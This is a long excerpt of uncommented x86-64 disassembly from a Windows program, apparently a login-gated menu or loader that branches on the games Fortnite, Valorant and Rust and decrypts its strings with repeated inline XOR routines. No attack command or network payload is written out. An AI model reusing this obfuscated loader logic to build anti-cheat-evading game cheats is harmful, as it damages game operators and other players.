cmp r8d, 0x19
jl 0x1402c2290
mov edx, 1
mov r9, r10
lea rcx, [rbp + 0x1290]
mov r8d, 0x9c4
call fcn.140044180
lea rcx, [rbp + 0x1290]
call fcn.140044260
call fcn.140015b00
mov esi, dword [reloc.WS2_32.dll_accept]
mov r14d, 1
mov ecx, r14d
call fcn.140004200
movss xmm6, dword [rsp + 0x74]
lea rdx, str.SIGN_UP
subss xmm6, dword [0x1403f4438]
xor r9d, r9d
movss dword [rsp + 0x20], xmm12
xor r8d, r8d
lea rcx, [rbp + 0x758]
call fcn.14000af90
movss xmm1, dword [rsp + 0x70]
lea rcx, [rbp + 0x40]
mov rbx, qword [rbp - 0x68]
movss xmm0, dword [rax]
addss xmm0, xmm0
movss dword [rbp + 0x44], xmm6
subss xmm1, xmm0
subss xmm1, dword [rbx]
mulss xmm1, xmm10
movss dword [rbp + 0x40], xmm1
call fcn.140015700
call fcn.1400159b0
mov eax, dword [0x140593340]
cmp eax, 1
jbe 0x1402c4ede
cmp eax, 3
jne 0x1402c557c
mov rcx, qword [0x140593120]
call fcn.140011460
movss xmm6, dword [rsp + 0x74]
lea rdx, [rbp + 0x760]
subss xmm6, dword [0x1403f4438]
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], r12b
call fcn.1402c5df0
mov r10, rax
cmp byte [rax + 7], r12b
je 0x1402c4de3
cmp esi, 2
jl 0x1402c4d95
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x1402c4de3
cmp eax, 3
jne 0x1402c35ce
movss xmm0, dword [rsp + 0x70]
lea rcx, [rbp + 0x614]
movss xmm2, dword [rsp + 0x74]
subss xmm0, xmm11
movss xmm6, dword [0x1403f440c]
subss xmm2, xmm6
movaps xmm1, xmm0
mulss xmm0, xmm10
subss xmm1, xmm6
mulss xmm2, xmm10
mulss xmm0, xmm10
subss xmm2, dword [0x1403f4440]
mulss xmm1, xmm10
subss xmm1, xmm0
call fcn.140001450
mov rcx, rax
call fcn.140015700
lea rcx, [0x1405935d8]
call fcn.140003f50
mov edx, eax
lea rcx, [rbp + 0xa10]
call fcn.140043f60
lea rdx, [rbp + 0x8b8]
mov rcx, rax
call fcn.1400366c0
movaps xmm2, xmm6
lea rcx, [rbp + 0x61c]
movaps xmm1, xmm6
call fcn.140001450
mov rdx, qword [0x140593180]
lea r9, [rbp + 0x8b8]
mov r8, rax
mov dword [rsp + 0x20], r12d
mov ecx, 1
call fcn.14003a1c0
test al, al
je 0x1402c259d
mov eax, dword [0x140593128]
test eax, eax
jle 0x1402c259d
dec eax
mov dword [0x140593128], eax
movss xmm0, dword [rsp + 0x70]
lea rcx, [rbp + 0x624]
movss xmm2, dword [rsp + 0x74]
movaps xmm1, xmm0
subss xmm1, xmm11
addss xmm0, xmm11
subss xmm2, xmm6
mulss xmm1, xmm10
subss xmm0, xmm6
mulss xmm2, xmm10
mulss xmm1, xmm10
subss xmm2, dword [0x1403f4440]
mulss xmm0, xmm10
addss xmm1, xmm0
call fcn.140001450
mov rcx, rax
call fcn.140015700
lea rcx, [0x1405935d8]
call fcn.140003f50
mov edx, eax
lea rcx, [rbp + 0xa30]
call fcn.140043f60
lea rdx, [rbp + 0x8c8]
mov rcx, rax
call fcn.1400366c0
movaps xmm2, xmm6
lea rcx, [rbp + 0x62c]
movaps xmm1, xmm6
call fcn.140001450
mov rdx, qword [0x140593188]
lea r9, [rbp + 0x8c8]
mov r8, rax
mov dword [rsp + 0x20], r12d
mov ecx, 2
call fcn.14003a1c0
test al, al
je 0x1402c2664
mov eax, dword [0x140593128]
cmp eax, 4
jge 0x1402c2664
inc eax
mov dword [0x140593128], eax
movss xmm2, dword [0x1403f4440]
lea rcx, [rbp + 0x634]
movaps xmm1, xmm8
call fcn.140001450
movss xmm2, dword [rsp + 0x74]
lea rcx, [rbp + 0x63c]
movss xmm1, dword [rsp + 0x70]
mov rbx, rax
subss xmm2, dword [0x1403f448c]
subss xmm1, xmm11
call fcn.140001450
mov rdx, rax
lea rcx, [rbp + 0x644]
movaps xmm2, xmm14
call fcn.140043ee0
mov r8, rbx
lea rcx, [rbp + 0x64c]
mov rdx, rax
call fcn.140043f30
mov rcx, rax
call fcn.140015700
mov eax, dword [0x1405932d0]
cmp dword [0x140593128], eax
jne 0x1402c26e5
movaps xmm6, xmm13
jmp 0x1402c26e9
movaps xmm6, xmm12
call fcn.1400078b0
movaps xmm2, xmm13
movaps xmm1, xmm8
movss xmm0, dword [rax + 0x10]
mulss xmm0, dword [0x1403f43c8]
mulss xmm0, xmm6
addss xmm0, dword [0x1405932d4]
call fcn.1402c85e0
mov eax, dword [0x1405932d0]
cmp dword [0x140593128], eax
movss dword [0x1405932d4], xmm0
jne 0x1402c2730
movaps xmm6, xmm13
jmp 0x1402c2734
movaps xmm6, xmm12
call fcn.1400078b0
movss xmm0, dword [0x1403f44a8]
mov rbx, rax
call fcn.140043fd0
mulss xmm0, dword [rbx + 0x10]
movaps xmm2, xmm13
movaps xmm1, xmm8
mulss xmm0, xmm6
addss xmm0, dword [0x140593678]
call fcn.1402c85e0
movss xmm1, dword [0x1405932d4]
ucomiss xmm1, xmm8
movss dword [0x140593678], xmm0
jp 0x1402c2793
jne 0x1402c2793
ucomiss xmm0, xmm8
jp 0x1402c2793
jne 0x1402c2793
mov eax, dword [0x140593128]
mov dword [0x1405932d0], eax
call fcn.1400159b0
lea rcx, [rbp + 0xfe0]
call fcn.1402c7a00
lea rcx, [rbp + 0xfe0]
mov r15, rax
call fcn.1402c7af0
mov esi, dword [reloc.WS2_32.dll_accept]
mov qword [rbp + 0x2b8], rax
cmp r15, rax
je 0x1402c35c4
nop dword [rax]
lea rdx, [r15 + 0x20]
lea rcx, [rbp + 0x440]
call fcn.1402c7d00
mov rcx, rax
call fcn.1402c6a50
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.1402c6af0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x340]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov eax, dword [rax + 0x20]
movaps xmmword [rbp + 0x10], xmm0
movaps xmmword [rbp + 0x20], xmm1
mov dword [rbp + 0x30], eax
call fcn.1402c6860
call fcn.140003f10
movss xmm1, dword [0x1405932d4]
xor ecx, ecx
mulss xmm1, dword [rax]
call fcn.140004130
mov eax, dword [0x1405932d0]
cmp eax, 1
jne 0x1402c2a8d
lea rdx, [rbp + 0x9b3]
mov byte [rsp + 0x60], r12b
lea rcx, [rsp + 0x60]
call fcn.1402c5f90
mov r14, rax
cmp byte [rax + 0xc], r12b
je 0x1402c29b4
mov r8d, r12d
cmp esi, 2
jl 0x1402c2972
movdqa xmm2, xmmword [0x1403f45a0]
mov r8d, r13d
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r14]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r14], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r14 + 4]
xorps xmm2, xmm0
movd dword [r14 + 4], xmm2
movsxd r9, r8d
add r9, r14
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1402c2980
lea rdx, [rbp + 0x99c]
mov byte [rbp - 0x1b], r12b
lea rcx, [rbp - 0x1b]
call fcn.1402c5f60
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x1402c29ff
xor byte [rbx], 0x39
xor byte [rbx + 1], 0x3a
xor byte [rbx + 2], 0x3b
xor byte [rbx + 3], 0x3c
xor byte [rbx + 4], 0x3d
xor byte [rbx + 5], 0x3e
xor byte [rbx + 6], 0x3f
xor byte [rbx + 7], 0x40
xor byte [rbx + 8], 0x41
xor byte [rbx + 9], 0x42
xor al, 0x43
mov byte [rbx + 0xa], al
lea rcx, [rbp + 0x340]
call fcn.1402c7c50
lea rdx, [rbp + 0x981]
mov qword [rbp - 0x60], rax
lea rcx, [rbp - 0xa]
mov byte [rbp - 0xa], r12b
call fcn.1402c5f40
mov rdi, rax
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1402c2a53
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor byte [rax + 6], 0x3f
xor byte [rax + 7], 0x40
xor cl, 0x41
mov byte [rax + 8], cl
movaps xmm2, xmm15
lea rcx, [rbp + 0x654]
movaps xmm1, xmm11
call fcn.140001450
mov r9, qword [rbp - 0x60]
mov r8, rdi
mov rcx, qword [0x140593170]
mov rdx, rax
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rbx
call fcn.1400398c0
mov eax, dword [0x1405932d0]
test eax, eax
jne 0x1402c2cd1
lea rdx, [rbp + 0x530]
mov byte [rsp + 0x60], r12b
lea rcx, [rsp + 0x60]
call fcn.1402c5f90
mov r14, rax
cmp byte [rax + 0xc], r12b
je 0x1402c2c04
mov r8d, r12d
cmp esi, 2
jl 0x1402c2bc7
movdqa xmm2, xmmword [0x1403f45a0]
mov r8d, r13d
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r14]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r14], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r14 + 4]
xorps xmm2, xmm0
movd dword [r14 + 4], xmm2
movsxd r9, r8d
add r9, r14
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1402c2bd0
lea rdx, [rbp - 6]
mov byte [rbp - 0x19], r12b
lea rcx, [rbp - 0x19]
call fcn.1402c5f60
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x1402c2c4c
xor byte [rbx], 0x39
xor byte [rbx + 1], 0x3a
xor byte [rbx + 2], 0x3b
xor byte [rbx + 3], 0x3c
xor byte [rbx + 4], 0x3d
xor byte [rbx + 5], 0x3e
xor byte [rbx + 6], 0x3f
xor byte [rbx + 7], 0x40
xor byte [rbx + 8], 0x41
xor byte [rbx + 9], 0x42
xor al, 0x43
mov byte [rbx + 0xa], al
lea rcx, [rbp + 0x340]
call fcn.1402c7c50
lea rdx, [rbp - 0x80]
mov qword [rbp - 0x60], rax
lea rcx, [rbp - 0x18]
mov byte [rbp - 0x18], r12b
call fcn.1402c5fc0
mov rdi, rax
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1402c2c9d
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor byte [rax + 6], 0x3f
xor byte [rax + 7], 0x40
xor cl, 0x41
mov byte [rax + 8], cl
movaps xmm2, xmm15
lea rcx, [rbp + 0x65c]
movaps xmm1, xmm11
call fcn.140001450
mov r9, qword [rbp - 0x60]
mov r8, rdi
mov rcx, qword [0x140593140]
mov rdx, rax
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rbx
call fcn.1400398c0
movss xmm2, dword [0x1403f4458]
lea rcx, [rbp + 0x664]
movaps xmm1, xmm8
call fcn.140001450
movss xmm2, dword [rsp + 0x74]
lea rcx, [rbp + 0x66c]
movss xmm1, dword [rsp + 0x70]
mov rbx, rax
addss xmm2, dword [0x1403f4454]
subss xmm1, xmm11
call fcn.140001450
mov rdx, rax
lea rcx, [rbp + 0x674]
movaps xmm2, xmm14
call fcn.140043ee0
mov r8, rbx
lea rcx, [rbp + 0x67c]
mov rdx, rax
call fcn.140043f00
mov rcx, rax
call fcn.140015700
call fcn.140011b40
cmp dword [0x1405932d0], r12d
lea rcx, [0x1405935d8]
mov r14, rax
je 0x1402c2d61
lea rcx, [0x1405935c8]
call fcn.140003f50
movss xmm1, dword [0x1403f4484]
lea rcx, [rbp + 0x684]
movaps xmm2, xmm7
mov edi, eax
call fcn.140001450
movss xmm6, dword [0x1403f44b0]
lea rcx, [rbp + 0x68c]
movss xmm1, dword [0x1403f4480]
movaps xmm2, xmm6
mov rbx, rax
call fcn.140001450
mov r9d, edi
mov dword [rsp + 0x28], r12d
mov r8, rbx
movss dword [rsp + 0x20], xmm13
mov rdx, rax
mov rcx, r14
call fcn.14002aa10
movaps xmm1, xmm12
movaps xmm0, xmm8
call fcn.140015620
call fcn.140011b40
cmp dword [0x1405932d0], 1
lea rcx, [0x1405935d8]
mov r14, rax
je 0x1402c2dee
lea rcx, [0x1405935c8]
call fcn.140003f50
movss xmm1, dword [0x1403f4494]
lea rcx, [rbp + 0x694]
movaps xmm2, xmm7
mov edi, eax
call fcn.140001450
movss xmm1, dword [0x1403f4488]
lea rcx, [rbp + 0x69c]
movaps xmm2, xmm6
mov rbx, rax
call fcn.140001450
mov r9d, edi
mov dword [rsp + 0x28], r12d
mov r8, rbx
movss dword [rsp + 0x20], xmm13
mov rdx, rax
mov rcx, r14
call fcn.14002aa10
mov edi, 1
mov ecx, edi
call fcn.140004200
movss xmm2, dword [0x1403f4458]
lea rcx, [rbp + 0x6a4]
movaps xmm1, xmm8
call fcn.140001450
movss xmm2, dword [rsp + 0x74]
lea rcx, [rbp + 0x6ac]
movss xmm1, dword [rsp + 0x70]
mov rbx, rax
addss xmm2, dword [0x1403f4454]
subss xmm1, xmm11
call fcn.140001450
mov rdx, rax
lea rcx, [rbp + 0x6b4]
movaps xmm2, xmm14
call fcn.140043ee0
mov r8, rbx
lea rcx, [rbp + 0x6bc]
mov rdx, rax
call fcn.140043f00
mov rcx, rax
call fcn.140015700
movaps xmm2, xmm9
lea rcx, [rbp + 0x6c4]
movaps xmm1, xmm11
call fcn.140001450
lea rdx, [rbp + 0x9ce]
mov byte [rbp - 0x17], r12b
lea rcx, [rbp - 0x17]
mov rbx, rax
call fcn.1402c5fe0
mov r10, rax
cmp byte [rax + 0xe], r12b
je 0x1402c3044
mov r8d, r12d
cmp esi, 2
jl 0x1402c3003
movdqa xmm2, xmmword [0x1403f45a0]
mov r8d, r13d
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1402c3010
mov rdx, rbx
mov rcx, r10
call fcn.1400383d0
test al, al
je 0x1402c35a7
lea rdx, str.Fortnite
mov dword [0x14059312c], 4
mov rcx, r15
call fcn.1402c8590
test al, al
je 0x1402c3229
lea rdx, [rbp + 0x10]
mov byte [rsp + 0x60], r12b
lea rcx, [rsp + 0x60]
call fcn.1402c6010
mov r10, rax
cmp byte [rax + 0x11], r12b
je 0x1402c3584
mov r8d, r12d
cmp esi, 2
jl 0x1402c31e2
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x1402c30d0
cmp r8d, 0x12
jge 0x1402c3584
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x1402c31f0
jmp 0x1402c3584
lea rdx, str.Valorant
mov rcx, r15
call fcn.1402c8590
test al, al
je 0x1402c33f9
lea rdx, [rbp + 0x10]
mov byte [rsp + 0x60], r12b
lea rcx, [rsp + 0x60]
call fcn.1402c6030
mov r10, rax
cmp byte [rax + 0x11], r12b
je 0x1402c3584
mov r8d, r12d
cmp esi, 2
jl 0x1402c33b2
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x1402c32a0
cmp r8d, 0x12
jge 0x1402c3584
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x1402c33c0
jmp 0x1402c3584
lea rdx, str.Rust
mov rcx, r15
call fcn.1402c8590
test al, al
je 0x1402c35a7
lea rdx, [rbp + 0x9c0]
mov byte [rsp + 0x60], r12b
lea rcx, [rsp + 0x60]
call fcn.1402c6050
mov r10, rax
cmp byte [rax + 0xd], r12b
je 0x1402c3584
mov r8d, r12d
cmp esi, 2
jl 0x1402c3542
movdqa xmm2, xmmword [0x1403f45a0]
mov r8d, r13d
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x1402c3550
mov r9, r10
lea rcx, [rbp + 0x1290]
mov r8d, 0x7d0
mov edx, edi
call fcn.140044180
lea rcx, [rbp + 0x1290]
call fcn.140044260
lea rcx, [rbp + 0x340]
call fcn.1402c7c60
add r15, 0x40
cmp r15, qword [rbp + 0x2b8]
jne 0x1402c27d0
call fcn.140015b00
jmp 0x1402c22f5
cmp eax, 4
jne 0x1402c22ef
call fcn.140007b40
lea rcx, [0x140593588]
mov rsi, rax
call fcn.140003f50
movsd xmm0, qword [rsp + 0x70]
lea r8, [rbp + 0x2c0]
lea rdx, [rsp + 0x78]
movsd qword [rbp + 0x2c0], xmm0
lea rcx, [rbp + 0x6cc]
mov edi, eax
call fcn.140043f00
movaps xmm2, xmm8
lea rcx, [rbp + 0x6d4]
